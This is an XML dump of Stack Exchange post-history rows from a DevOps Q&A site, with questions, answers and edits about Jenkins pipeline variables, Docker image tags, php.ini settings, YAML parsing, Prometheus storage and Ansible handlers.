  <row Id="17597" PostHistoryTypeId="5" PostId="5203" RevisionGUID="d058725b-e014-46c1-a26f-36e392aac3b6" CreationDate="2018-11-23T22:34:04.823" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Jenkins_%28software%29&gt; and &lt;http://en.wikipedia.org/wiki/Python_%28programming_language%29&gt;)." Text="I have a declarative Jenkins pipeline that looks like the following:&#xD;&#xA;&#xD;&#xA;    pipeline{&#xD;&#xA;        agent {&#xD;&#xA;            ...&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage(&quot;Provision EC2 Instance and Set ENV Variable&quot;){&#xD;&#xA;                steps {&#xD;&#xA;                    dir(&quot;docker-image-builder&quot;){&#xD;&#xA;                        sh 'python ./provisonInstance.py'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage(&quot;Configure EC2 Instance with Ansible&quot;){&#xD;&#xA;                steps {&#xD;&#xA;                    ansiblePlaybook('./ansible.playbook.yml') {&#xD;&#xA;                        ansibleName('1.9.4')&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In my first stage, I have a Python script that provisions an [Amazon EC2][1] instance that will be used to create an [AMI][2]. In the second stage, I will then configure configure my instance before finally creating an AMI and terminating the instance. In order to do this, I need the instance-id of the EC2 instance created in the first stage. **Is there an elegant way to pass values generated by a script between stages, and if so how?**&#xD;&#xA;&#xD;&#xA;The most obvious method that I can think of is to write the value to a file on the agent in the first stage, and read it in the second stage, but this does not seem like an elegant solution.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Amazon_Elastic_Compute_Cloud&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Amazon_Machine_Image&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17598" PostHistoryTypeId="4" PostId="5203" RevisionGUID="d058725b-e014-46c1-a26f-36e392aac3b6" CreationDate="2018-11-23T22:34:04.823" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wikipedia.org/wiki/Jenkins_%28software%29&gt; and &lt;http://en.wikipedia.org/wiki/Python_%28programming_language%29&gt;)." Text="Passing variables between scripts in a Jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="17599" PostHistoryTypeId="24" PostId="5203" RevisionGUID="d058725b-e014-46c1-a26f-36e392aac3b6" CreationDate="2018-11-23T22:34:04.823" Comment="Proposed by 7917 approved by 13 edit id of 862" ContentLicense="CC BY-SA 4.0" />
  <row Id="17603" PostHistoryTypeId="5" PostId="5237" RevisionGUID="66f0a63c-15b8-488a-937f-bf7f1159e71b" CreationDate="2018-11-23T22:35:03.727" UserId="7917" Comment="Active reading [&lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt; &lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt;]." Text="I administer a GitLab instance with a build pipeline. All components are encapsulated in Docker images from the official GitLab maintainer.&#xD;&#xA;&#xD;&#xA;Whenever I update - usually once a week - I need to check whether the GitLab/gitlab-runner-helper still works for the current latest version of GitLab. This can only be checked by executing a pipeline. If it does not work, the log tells me exactly what image it needs an I proceed to pull it.&#xD;&#xA;&#xD;&#xA;The image in question is also tagged with a latest tag, which I cannot use, due to the hard dependency to the non-volatile tag.&#xD;&#xA;&#xD;&#xA;    $docker image ls&#xD;&#xA;    REPOSITORY                    TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    gitlab/gitlab-runner-helper   x86_64-8af42251     1ee5a99eba5f        20 hours ago        43.7MB&#xD;&#xA;    gitlab/gitlab-runner-helper   x86_64-latest       1ee5a99eba5f        20 hours ago        43.7MB&#xD;&#xA;&#xD;&#xA;**To automate my update process, I'd like to know, how I could pull the latest image with all alternative tags?**&#xD;&#xA;&#xD;&#xA;The man page of Docker pull says, there is a `--all-tags` option, to load any tagged image from the repository, but this cannot be combined with a tag.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17604" PostHistoryTypeId="4" PostId="5237" RevisionGUID="66f0a63c-15b8-488a-937f-bf7f1159e71b" CreationDate="2018-11-23T22:35:03.727" UserId="7917" Comment="Active reading [&lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt; &lt;https://en.wikipedia.org/wiki/Docker_%28software%29&gt;]." Text="How do I pull all alternative tags of a Docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17605" PostHistoryTypeId="24" PostId="5237" RevisionGUID="66f0a63c-15b8-488a-937f-bf7f1159e71b" CreationDate="2018-11-23T22:35:03.727" Comment="Proposed by 7917 approved by 13 edit id of 864" ContentLicense="CC BY-SA 4.0" />
  <row Id="17606" PostHistoryTypeId="5" PostId="5239" RevisionGUID="784ce59b-0b1a-4ce9-9b16-04ed2749cb25" CreationDate="2018-11-23T22:35:17.863" UserId="7917" Comment="Copy edited. Dressed the naked link." Text="You can list all alternative image using the [reg][1] tool.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/genuinetools/reg&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17607" PostHistoryTypeId="24" PostId="5239" RevisionGUID="784ce59b-0b1a-4ce9-9b16-04ed2749cb25" CreationDate="2018-11-23T22:35:17.863" Comment="Proposed by 7917 approved by 13 edit id of 865" ContentLicense="CC BY-SA 4.0" />
  <row Id="17608" PostHistoryTypeId="5" PostId="5507" RevisionGUID="79e796d5-6bfe-4f8a-8b80-7a1516fff42b" CreationDate="2018-11-23T22:35:29.063" UserId="7917" Comment="Copy edited. Removed meta information (this belongs in comments)." Text="I've heard both terms, but I can't differentiate between the two." ContentLicense="CC BY-SA 4.0" />
  <row Id="17609" PostHistoryTypeId="4" PostId="5507" RevisionGUID="79e796d5-6bfe-4f8a-8b80-7a1516fff42b" CreationDate="2018-11-23T22:35:29.063" UserId="7917" Comment="Copy edited. Removed meta information (this belongs in comments)." Text="What's the difference between &quot;Ops Dev&quot; and &quot;DevOps&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17610" PostHistoryTypeId="24" PostId="5507" RevisionGUID="79e796d5-6bfe-4f8a-8b80-7a1516fff42b" CreationDate="2018-11-23T22:35:29.063" Comment="Proposed by 7917 approved by 13 edit id of 859" ContentLicense="CC BY-SA 4.0" />
  <row Id="17611" PostHistoryTypeId="33" PostId="5458" RevisionGUID="6f670646-6ad7-44f0-8506-794dce8e398d" CreationDate="2018-11-24T02:05:52.467" UserId="7118" Comment="31" />
  <row Id="17615" PostHistoryTypeId="5" PostId="5530" RevisionGUID="97ea23e2-9522-4660-a862-7d15b257101b" CreationDate="2018-11-24T07:48:53.647" UserDisplayName="user5176" Comment="Formatting" Text="You can use regex and after that change, restarting the webserver:&#xD;&#xA;&#xD;&#xA;    sed -i 's/upload_max_filesize\s*=.*/upload_max_filesize=100M/g' path/to/php.ini&#xD;&#xA;    sed -i 's/post_max_size\s*=.*/post_max_size=100M/g' path/to/php.ini&#xD;&#xA;    sed -i 's/memory_limit\s*=.*/memory_limit=512M/g' path/to/php.ini&#xD;&#xA;&#xD;&#xA;But it is preferable to use **Configuration Management Tools**" ContentLicense="CC BY-SA 4.0" />
  <row Id="17616" PostHistoryTypeId="24" PostId="5530" RevisionGUID="97ea23e2-9522-4660-a862-7d15b257101b" CreationDate="2018-11-24T07:48:53.647" Comment="Proposed by 5176 approved by -1 edit id of 866" ContentLicense="CC BY-SA 4.0" />
  <row Id="17617" PostHistoryTypeId="5" PostId="5530" RevisionGUID="3a972981-f7c6-4a4e-bfd8-e5cfb789a584" CreationDate="2018-11-24T07:48:53.647" UserId="40" Comment="added 9 characters in body" Text="You can use regex and after that change, you need to restart the webserver:&#xD;&#xA;&#xD;&#xA;    sed -i 's/upload_max_filesize\s*=.*/upload_max_filesize=100M/g' path/to/php.ini&#xD;&#xA;    sed -i 's/post_max_size\s*=.*/post_max_size=100M/g' path/to/php.ini&#xD;&#xA;    sed -i 's/memory_limit\s*=.*/memory_limit=512M/g' path/to/php.ini&#xD;&#xA;&#xD;&#xA;But it is preferable to use **Configuration Management Tools**" ContentLicense="CC BY-SA 4.0" />
  <row Id="17618" PostHistoryTypeId="2" PostId="5532" RevisionGUID="80fc156d-ac16-42a1-8961-69fc41d462ff" CreationDate="2018-11-24T10:27:15.817" UserId="11032" Text="Packer has taken an active decision not to build in such capabilities. This problem is much better solved by other tools such as jq, etc. We think the best way to leverage Packer is to wrap it if you need more ways to create the template. &#xD;&#xA;&#xD;&#xA;It's very easy to create json any programming language which gives you unlimited expressiveness when creating templates. One great way to manipulate templates is to define them in _jinja2_ and preprocess it with Python." ContentLicense="CC BY-SA 4.0" />
  <row Id="17619" PostHistoryTypeId="50" PostId="4161" RevisionGUID="980d620c-182a-4a09-b1db-ff0121789a36" CreationDate="2018-11-24T11:02:30.480" UserId="-1" />
  <row Id="17620" PostHistoryTypeId="2" PostId="5533" RevisionGUID="98a00ef0-1e0e-4255-88b6-60b3c6f06f94" CreationDate="2018-11-25T02:34:51.360" UserId="7772" Text="We use YAML in several frameworks to define types and structures for our deployments. I read an article about why some people don't like YAML and they stated that the parsing of YAML is very different depending on the interpreter. &#xD;&#xA;&#xD;&#xA;Can it be said that these interpreters define their own dialects of YAML or would that not be the case?&#xD;&#xA;&#xD;&#xA;The background is that we would like to verify and validate YAML in our templates. " ContentLicense="CC BY-SA 4.0" />
  <row Id="17621" PostHistoryTypeId="1" PostId="5533" RevisionGUID="98a00ef0-1e0e-4255-88b6-60b3c6f06f94" CreationDate="2018-11-25T02:34:51.360" UserId="7772" Text="Are there dialects of YAML or just differences in parsing it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17622" PostHistoryTypeId="3" PostId="5533" RevisionGUID="98a00ef0-1e0e-4255-88b6-60b3c6f06f94" CreationDate="2018-11-25T02:34:51.360" UserId="7772" Text="&lt;cloud&gt;&lt;yaml&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17623" PostHistoryTypeId="2" PostId="5534" RevisionGUID="1d3b9957-cff0-48b0-a81e-63d7f70b1f67" CreationDate="2018-11-25T08:19:41.273" UserId="354" Text="If you're married to Docker Hub, you could use a [webhook](https://docs.docker.com/docker-hub/webhooks/) to [notify Travis](https://docs.travis-ci.com/user/triggering-builds) of the need to start it's job.&#xD;&#xA;&#xD;&#xA;However, I solve this problem using Quay.io - it has the [robot account](https://docs.quay.io/glossary/robot-accounts.html) (you refer to &quot;service account&quot;) you need. It also has a richer set of [notifications](https://docs.quay.io/guides/notifications.html).&#xD;&#xA;&#xD;&#xA;You could maintain your current workflow using webhooks to &#xD;&#xA;&#xD;&#xA;  1. create the repository on Quay or Docker Hub, have the image built on git events.&#xD;&#xA;  1. Create a webhook in the repository to send data to your Travis job when builds succeed&#xD;&#xA; &#xD;&#xA;Or, you could build your images in the Travis job.&#xD;&#xA;&#xD;&#xA;  1. Push the initial image to a repository on Quay&#xD;&#xA;  1. Add a robot account to your repository in Quay&#xD;&#xA;  1. Add the necessary secrets to your Travis build (token and robot user name)&#xD;&#xA;  1. Configure Travis to build the image, run whatever tests you need and then push on green.&#xD;&#xA;  1. Add an `after_success` task to redeploy your app in k8s after the push." ContentLicense="CC BY-SA 4.0" />
  <row Id="17624" PostHistoryTypeId="50" PostId="4044" RevisionGUID="a1526020-63c7-456f-a4fc-bbfd01d2c57d" CreationDate="2018-11-25T12:02:20.457" UserId="-1" />
  <row Id="17625" PostHistoryTypeId="50" PostId="4350" RevisionGUID="5336fe68-944c-49fa-88de-f899a2c5fd73" CreationDate="2018-11-25T15:02:55.617" UserId="-1" />
  <row Id="17626" PostHistoryTypeId="50" PostId="4817" RevisionGUID="7c1d102f-85bc-46bf-b51b-c4338079b73a" CreationDate="2018-11-25T16:01:55.360" UserId="-1" />
  <row Id="17627" PostHistoryTypeId="50" PostId="5061" RevisionGUID="2a9aea3b-0671-47e1-8ee5-0252dcdc4e23" CreationDate="2018-11-25T17:02:05.380" UserId="-1" />
  <row Id="17628" PostHistoryTypeId="50" PostId="3953" RevisionGUID="29b55ccb-967b-4d60-bce9-e6f55364c817" CreationDate="2018-11-25T22:02:00.363" UserId="-1" />
  <row Id="17629" PostHistoryTypeId="5" PostId="5533" RevisionGUID="4d277d13-61b2-45f6-afd3-94787f5fa753" CreationDate="2018-11-26T02:04:07.927" UserId="7772" Comment="added 52 characters in body" Text="We use YAML in several frameworks to define types and structures for our deployments. I read an [article][1] about why some people don't like YAML and they stated that the parsing of YAML is very different depending on the interpreter. &#xD;&#xA;&#xD;&#xA;Can it be said that these interpreters define their own dialects of YAML or would that not be the case?&#xD;&#xA;&#xD;&#xA;The background is that we would like to verify and validate YAML in our templates. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cblp/yaml-sucks" ContentLicense="CC BY-SA 4.0" />
  <row Id="17630" PostHistoryTypeId="2" PostId="5535" RevisionGUID="105cd457-b9c0-4e9e-ba73-e357c07a602c" CreationDate="2018-11-26T03:12:22.987" UserId="228" Text="In current deployment of a web app we are using svn to deploy a specific revision from a repository. The amount of data transferred is just the diff between the currently deployed revision and the revision being deployed, which is rather small. Deployments go to hundreds of machines, hundreds times a week. &#xD;&#xA;&#xD;&#xA;We would like to run the app in a container for extra testing, fast reverts and service separation, but there is a problem. When creating a container, we copy the app in there as one layer, then run the container through all tests, security scanning, etc. But during deployments, the amount of data transferred is the entire layer with the app each time. There has to be some way to minimize the amount of data transferred just to the diff between revisions, that is standard and has some tools around it. It does not seem like we are the only ones trying to solve the problem.&#xD;&#xA;&#xD;&#xA;So before we implement some home grown solution, what would you do?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17631" PostHistoryTypeId="1" PostId="5535" RevisionGUID="105cd457-b9c0-4e9e-ba73-e357c07a602c" CreationDate="2018-11-26T03:12:22.987" UserId="228" Text="How to deploy large web app in container without downloading the entire app on each change?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17632" PostHistoryTypeId="3" PostId="5535" RevisionGUID="105cd457-b9c0-4e9e-ba73-e357c07a602c" CreationDate="2018-11-26T03:12:22.987" UserId="228" Text="&lt;docker&gt;&lt;containers&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17633" PostHistoryTypeId="8" PostId="5245" RevisionGUID="bf0c9d18-8bea-4de6-9a67-1de85622c0e7" CreationDate="2018-11-26T04:24:55.493" UserId="4115" Comment="Rollback to [4068af77-dc50-44c6-97df-469cb0d15366] - Edit approval overridden by post owner or moderator" Text="For Declarative Pipeline:&#xD;&#xA;&#xD;&#xA;This question already has a [highly-upvoted answer on StackOverflow](https://stackoverflow.com/a/44101004/1824868):&#xD;&#xA;&#xD;&#xA;&gt; If you want to use a file (since a script is the thing generating the value you need):&#xD;&#xA;&gt;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;       agent { label 'docker' }&#xD;&#xA;&gt;       stages {&#xD;&#xA;&gt;         stage('one') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             sh 'echo hotness &gt; myfile.txt'&#xD;&#xA;&gt;             script {&#xD;&#xA;&gt;               // trim removes leading and trailing whitespace from the string&#xD;&#xA;&gt;               myVar = readFile('myfile.txt').trim()&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         stage('two') {&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;${myVar}&quot; // prints 'hotness'&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         // this stage is skipped due to the when expression, so nothing is printed&#xD;&#xA;&gt;         stage('three') {&#xD;&#xA;&gt;           when {&#xD;&#xA;&gt;             expression { myVar != 'hotness' }&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;           steps {&#xD;&#xA;&gt;             echo &quot;three: ${myVar}&quot;&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;A second solution would be to write out output from your script directly or with [`writeFile`](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#writefile-write-file-to-workspace) and then later read it back in with [`readFile`](https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#readfile-read-file-from-workspace).  However, this comes with the significant caveat that both the reading and writing must take place on the same node, so you can't use this to send data across nodes.&#xD;&#xA;&#xD;&#xA;You can also can archive files centrally with [`archiveArtifact`](https://jenkins.io/doc/pipeline/steps/core/#archiveartifacts-archive-the-artifacts) and retrieve them with [`copyArtifact`](https://jenkins.io/doc/pipeline/steps/copyartifact/#copyartifacts-copy-artifacts-from-another-project) (and then read in the file with `readFile`).&#xD;&#xA;&#xD;&#xA;Finally, there are some answers to a [near-identical question on StackOverflow](https://stackoverflow.com/q/47462500/1824868) that offer alternative solutions.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;However, if you can, I would suggest using Scripted Pipeline instead, which allows a much simpler solution:&#xD;&#xA;&#xD;&#xA;    def String myVar&#xD;&#xA;    &#xD;&#xA;    stage('my-first-stage') {&#xD;&#xA;      myVar = sh(script: 'my-command', returnStdout: true)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    stage('my-second-stage') {&#xD;&#xA;      sh(&quot;my-other-command --var='${myVar}'&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;(I also already answered this question for Scripted Pipeline over on [ServerFault](https://serverfault.com/a/884798/213070).)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;It looks like some of these solutions have already been proposed in the comments, but you are concerned that they are not elegant enough.  I'm not really sure what kind of elegance you're looking for, because I can't think of any way to simplify these answers in Jenkins-Pipeline-land." ContentLicense="CC BY-SA 4.0" />
  <row Id="17634" PostHistoryTypeId="4" PostId="5535" RevisionGUID="2397bc48-37cf-4abe-972b-61e464e861f4" CreationDate="2018-11-26T04:35:17.863" UserId="228" Comment="edited title" Text="How to deploy large web app in container minimal data transfer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17635" PostHistoryTypeId="34" PostId="5473" RevisionGUID="4f4d3e91-0de9-4572-a942-27cc1700b3dd" CreationDate="2018-11-26T09:03:50.717" UserDisplayName="user5176" Comment="30" />
  <row Id="17642" PostHistoryTypeId="2" PostId="5538" RevisionGUID="919be096-e089-4963-bb72-fe9743710c68" CreationDate="2018-11-26T10:25:41.870" UserId="354" Text="There is only one [YAML spec](http://yaml.org/spec/1.2/spec.html). That would lead me to say &quot;There are no YAML dialects&quot;. There are certainly differences in **implementation**, perhaps due to what the article claims as the spec's ambiguity:&#xD;&#xA;&#xD;&#xA;&gt; YAML specification is so ambiguous,&#xD;&#xA;&#xD;&#xA;It's a matter of opinion, I believe, but there is no doubting that various language-specific parsers of the same data result in different output. So, to answer the question(s):&#xD;&#xA;&#xD;&#xA;  1. **no** there are no YAML dialects (since there is one spec)&#xD;&#xA;  1. **yes** the spec provides much leeway for implementation and thus there are differences in how it is parsed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17643" PostHistoryTypeId="5" PostId="5237" RevisionGUID="0fa1f08f-8c83-4747-a642-fa1cc8e0c3fb" CreationDate="2018-11-26T10:36:27.527" UserId="3427" Comment="added 2 characters in body; edited title" Text="I administer a GitLab instance with a build pipeline. All components are encapsulated in Docker images from the official GitLab maintainer.&#xD;&#xA;&#xD;&#xA;Whenever I update - usually once a week - I need to check whether the `gitLab/gitlab-runner-helper` still works for the current latest version of GitLab. This can only be checked by executing a pipeline. If it does not work, the log tells me exactly what image it needs an I proceed to pull it.&#xD;&#xA;&#xD;&#xA;The image in question is also tagged with a latest tag, which I cannot use, due to the hard dependency to the non-volatile tag.&#xD;&#xA;&#xD;&#xA;    $docker image ls&#xD;&#xA;    REPOSITORY                    TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    gitlab/gitlab-runner-helper   x86_64-8af42251     1ee5a99eba5f        20 hours ago        43.7MB&#xD;&#xA;    gitlab/gitlab-runner-helper   x86_64-latest       1ee5a99eba5f        20 hours ago        43.7MB&#xD;&#xA;&#xD;&#xA;**To automate my update process, I'd like to know, how I could pull the latest image with all alternative tags?**&#xD;&#xA;&#xD;&#xA;The man page of Docker pull says, there is a `--all-tags` option, to load any tagged image from the repository, but this cannot be combined with a tag.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17644" PostHistoryTypeId="4" PostId="5237" RevisionGUID="0fa1f08f-8c83-4747-a642-fa1cc8e0c3fb" CreationDate="2018-11-26T10:36:27.527" UserId="3427" Comment="added 2 characters in body; edited title" Text="How to pull all alternative tags of a Docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17646" PostHistoryTypeId="2" PostId="5540" RevisionGUID="68691803-5588-40d2-bf9d-1d83d96a00fc" CreationDate="2018-11-26T14:26:02.197" UserId="10898" Text="We are using private git repositories in Azure DevOps and I have a requirement to create code coverage report across git repositories. Our build CI/CD pipelines are using both [TeamCity][1] &amp; [Azure DevOps][2].&#xD;&#xA;I have looked at options and there is no straightforward solution to this problem. I am thinking about the following options:&#xD;&#xA;&#xD;&#xA; - using service like [coveralls.io][3], there is an option to add private repositories; the drawback it is subscription based service&#xD;&#xA; - using [TeamCity SonarQube plugin][4]; It is not ideal and limited to the plugin features; I haven't tried it yet.&#xD;&#xA; - using custom script to query and aggregate existing code coverage metrics of last successful build in TeamCity/Azure DevOps across projects and group them by repository; Both [Azure DevOps][5] &amp; [TeamCity][6] offer REST APIs that can be used to get the data.&#xD;&#xA;&#xD;&#xA;I still need a solution for Azure DevOps builds, however I have to admit I have not researched this properly yet.&#xD;&#xA;&#xD;&#xA;**Has anyone done cross repository code coverage reporting and what approach/tools might be best**?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jetbrains.com/teamcity/&#xD;&#xA;  [2]: https://azure.microsoft.com/en-us/solutions/devops&#xD;&#xA;  [3]: https://coveralls.io/features&#xD;&#xA;  [4]: https://confluence.jetbrains.com/display/TW/SonarQube+plugin&#xD;&#xA;  [5]: https://docs.microsoft.com/en-gb/rest/api/azure/devops/?view=azure-devops-rest-4.1&#xD;&#xA;  [6]: https://confluence.jetbrains.com/display/TCD10/REST+API" ContentLicense="CC BY-SA 4.0" />
  <row Id="17647" PostHistoryTypeId="1" PostId="5540" RevisionGUID="68691803-5588-40d2-bf9d-1d83d96a00fc" CreationDate="2018-11-26T14:26:02.197" UserId="10898" Text="How to report Code Coverage metrics across git repositories?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17648" PostHistoryTypeId="3" PostId="5540" RevisionGUID="68691803-5588-40d2-bf9d-1d83d96a00fc" CreationDate="2018-11-26T14:26:02.197" UserId="10898" Text="&lt;azure-devops&gt;&lt;teamcity&gt;&lt;code-coverage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17649" PostHistoryTypeId="2" PostId="5541" RevisionGUID="0210a90a-beb8-496d-a21b-6364b84ed00f" CreationDate="2018-11-26T14:27:45.353" UserId="354" Text="This may sound like a vague question so I will provide some context below. The basic question is :&#xD;&#xA;&#xD;&#xA;**What parameters describe the growth in size of a Prometheus database over time?**&#xD;&#xA;&#xD;&#xA;To tie the question down: **When will the prometheus time series data base reach 1TB if I collect 10 metrics sampling them at 5 per minute?**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17650" PostHistoryTypeId="1" PostId="5541" RevisionGUID="0210a90a-beb8-496d-a21b-6364b84ed00f" CreationDate="2018-11-26T14:27:45.353" UserId="354" Text="How fast does Prometheus data grow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17651" PostHistoryTypeId="3" PostId="5541" RevisionGUID="0210a90a-beb8-496d-a21b-6364b84ed00f" CreationDate="2018-11-26T14:27:45.353" UserId="354" Text="&lt;monitoring&gt;&lt;capacity-planning&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17652" PostHistoryTypeId="2" PostId="5542" RevisionGUID="c83cb6cd-9f1f-4fb6-867d-b36357ddf58e" CreationDate="2018-11-26T14:44:44.137" UserId="13" Text="Prometheus use a timeseries databases with vacuum, the [documentation](https://prometheus.io/docs/prometheus/latest/storage/#operational-aspects) gives some maths to plan your disk consumption:&#xD;&#xA;&#xD;&#xA;&gt; On average, Prometheus uses only around 1-2 bytes per sample. Thus, to&#xD;&#xA;&gt; plan the capacity of a Prometheus server, you can use the rough&#xD;&#xA;&gt; formula:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     needed_disk_space = retention_time_seconds * ingested_samples_per_second * bytes_per_sample&#xD;&#xA;&#xD;&#xA;So depending on your retention configuration, 1TB could never be reach or you can keep a very long time. That said it's using prometheus local storage, using another storage system will change the maths depending on the system concerned, influxdb is one of them and has its own documentation about storage." ContentLicense="CC BY-SA 4.0" />
  <row Id="17653" PostHistoryTypeId="50" PostId="4189" RevisionGUID="ec2d938d-32d2-479e-9255-7710fbaa9a0b" CreationDate="2018-11-26T16:01:05.147" UserId="-1" />
  <row Id="17654" PostHistoryTypeId="2" PostId="5543" RevisionGUID="d866443a-2cef-4f3b-8fa6-027204b06baf" CreationDate="2018-11-26T16:33:41.750" UserId="10715" Text="I have an Ansible role which uses handlers to restart services via the `systemd` module.&#xD;&#xA;&#xD;&#xA;    - name: restart ntp&#xD;&#xA;      systemd:&#xD;&#xA;        name: ntp&#xD;&#xA;        enabled: yes&#xD;&#xA;        state: restarted&#xD;&#xA;      become: true&#xD;&#xA;    &#xD;&#xA;    - name: restart web server&#xD;&#xA;      systemd:&#xD;&#xA;        name: nginx&#xD;&#xA;        enabled: yes&#xD;&#xA;        state: restarted&#xD;&#xA;      become: true&#xD;&#xA;    &#xD;&#xA;    - name: restart grafana&#xD;&#xA;      systemd:&#xD;&#xA;        name: grafana&#xD;&#xA;        enabled: yes&#xD;&#xA;        state: restarted&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;Is there a way so I could parameterize the three separate handlers into something like this?:&#xD;&#xA;&#xD;&#xA;    - name: restart {{svcname}}&#xD;&#xA;      systemd:&#xD;&#xA;        name: '{{svcname}}'&#xD;&#xA;        enabled: yes&#xD;&#xA;        state: restarted&#xD;&#xA;      become: true&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17655" PostHistoryTypeId="1" PostId="5543" RevisionGUID="d866443a-2cef-4f3b-8fa6-027204b06baf" CreationDate="2018-11-26T16:33:41.750" UserId="10715" Text="Is it possible to consolidate notification handlers when they are very similar?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17656" PostHistoryTypeId="3" PostId="5543" RevisionGUID="d866443a-2cef-4f3b-8fa6-027204b06baf" CreationDate="2018-11-26T16:33:41.750" UserId="10715" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17657" PostHistoryTypeId="2" PostId="5544" RevisionGUID="14e522f5-e5d7-4095-afe9-ebf0eb1bf754" CreationDate="2018-11-26T19:31:42.217" UserId="354" Text="You could set a fact to be the list of services you need restarted by the handlers: &#xD;&#xA;&#xD;&#xA;    - name: Tag services to restart&#xD;&#xA;      set_fact:&#xD;&#xA;        services_to_restart:&#xD;&#xA;         - ntp&#xD;&#xA;         - nginx&#xD;&#xA;         - grafana&#xD;&#xA;&#xD;&#xA;then your handler becomes:&#xD;&#xA;&#xD;&#xA;    - name: Restart tagged services&#xD;&#xA;      service:&#xD;&#xA;        name: &quot;{{ item }}&quot;&#xD;&#xA;        state: restarted&#xD;&#xA;      loop: &quot;{{ services_to_restart }} | default('nginx')&quot;&#xD;&#xA;     &#xD;&#xA;I suggest using a sane default there in case you send an empty list to the service module." ContentLicense="CC BY-SA 4.0" />
  <row Id="17658" PostHistoryTypeId="50" PostId="3177" RevisionGUID="2708861e-0c64-4cf8-b830-d3280e15a002" CreationDate="2018-11-26T21:02:55.533" UserId="-1" />
  <row Id="17659" PostHistoryTypeId="2" PostId="5545" RevisionGUID="3f2ca811-e715-4b98-a4b0-977ae964d88f" CreationDate="2018-11-26T21:56:50.247" UserId="11056" Text="I've seen a lot of repositories with Docker images and I think (correct me if my guessing is wrong) that the projects that handle a docker image with multiple tags can be grouped into three groups: &#xD;&#xA;&#xD;&#xA; - Dockerfiles with different names in the same directory.&#xD;&#xA; - Dockerfiles with the same name (i.e. &quot;Dockerfile&quot;) in different directories.&#xD;&#xA; - Dockerfiles with the same name (i.e. &quot;Dockerfile&quot;) in different branches.&#xD;&#xA;&#xD;&#xA;I've looked at the Docker documentation page but there are no suggestions on how one should manage multiple tag images. I'm not looking for a subjective answer. Of course, any advice will be appreciated but what I want is to know the pros and cons of each of the three possibilities.&#xD;&#xA;&#xD;&#xA;Of course, there is the possibility that I've understood nothing of how docker images should be deployed. In this unfortunate case, please be merciful and point me in the right direction." ContentLicense="CC BY-SA 4.0" />
  <row Id="17660" PostHistoryTypeId="1" PostId="5545" RevisionGUID="3f2ca811-e715-4b98-a4b0-977ae964d88f" CreationDate="2018-11-26T21:56:50.247" UserId="11056" Text="What is the best way to put on a repository for a docker image with multiple tags?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17661" PostHistoryTypeId="3" PostId="5545" RevisionGUID="3f2ca811-e715-4b98-a4b0-977ae964d88f" CreationDate="2018-11-26T21:56:50.247" UserId="11056" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
